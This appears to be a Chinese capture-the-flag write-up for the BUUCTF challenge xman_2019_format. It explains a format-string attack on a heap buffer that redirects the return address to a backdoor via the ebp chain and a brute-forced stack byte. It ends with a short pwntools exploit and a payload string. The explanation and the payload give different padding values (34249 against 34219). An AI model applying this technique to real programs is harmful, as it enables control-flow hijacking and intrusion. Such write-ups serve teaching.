[BUUCTF]PWN——xman_2019_format(堆上的fmt+爆破栈)

xman_2019_format

  1. 例行检查,32位程序,开启了nx
    在这里插入图片描述
  2. 检索程序里的字符串,发现了后门函数,back_doorr=0x80485AB
    在这里插入图片描述
  3. 这题buf并不存储在栈上,而是在malloc申请的堆上
    在这里插入图片描述
  4. 之后buf作为参数,进入到sub_80485C4
    在这里插入图片描述
  5. 由于存在后门函数,可以利用格式化字符串将返回地址改为back_door
    这边主要利用了%ac$bn,将长度a的数据写入偏移为b的位置。
  6. 格式化字符串漏洞,一般需要先泄露栈地址,然后计算偏移,但是这里没办法这么利用,因为这里的s存放在chunk上,不在栈上。因此我们可以通过栈上已有的数据,在栈上布下一个指向函数返回地址栈的指针,然后劫持返回地址栈。
    在这里插入图片描述
    ebp链在距离我们输入点的偏移为10处,ebp链2在0x12处,返回地址在0x13处,结合0xcf3c处和多次动调,发现返回地址的指针的最后一为是0xc,返回地址是0x8048697,然后back_doorr=0x80485AB
  7. 我的想法是利用ebp链,修改将ebp链指向返回地址的指针,然后将返回地址改为back_door,并且只要修改两字节即可。
payload='%12c%10$hhn|%34219c%18$hn'

稍微解释一下payload
%12c%10$hhn
这边假设返回地址的指针的最后一位是0x0c(0~F都可以,1/16的概率中),将偏移为10处的地方(上图第一个圈起来的ebp链)中的内容的低字节改为0xc,现在0xffffcf38里的内容是0xffffcf0c
%34249c%18$hn
接着继续修改偏移为18处的地方(上图第二个圈起来的ebp链),由于我们之前已经将0xffffcf38里的内容修改成了0xffffcf0c,因此现在在这里修改的是0xffffcf0c(假设它是返回地址)的内容,我们将它里面的地址改为back_door,由于只有最后2字节不一样,所以只要稍作修改即可,34219=0x85ab

接下来就是考验人品的时候了,我是尝试了好几次才成功的
完整exp

from pwn import *

p = remote("node3.buuoj.cn",27585)
#p=process('./xman_2019_format')
backdoor = 0x080485AB
 
payload='%12c%10$hhn|%34219c%18$hn'
p.sendline(payload)

p.interactive()

在这里插入图片描述
参考wp:https://www.yuque.com/u239977/cbzkn3/biczbd

猜你喜欢

转载自blog.csdn.net/mcmuyanga/article/details/115060990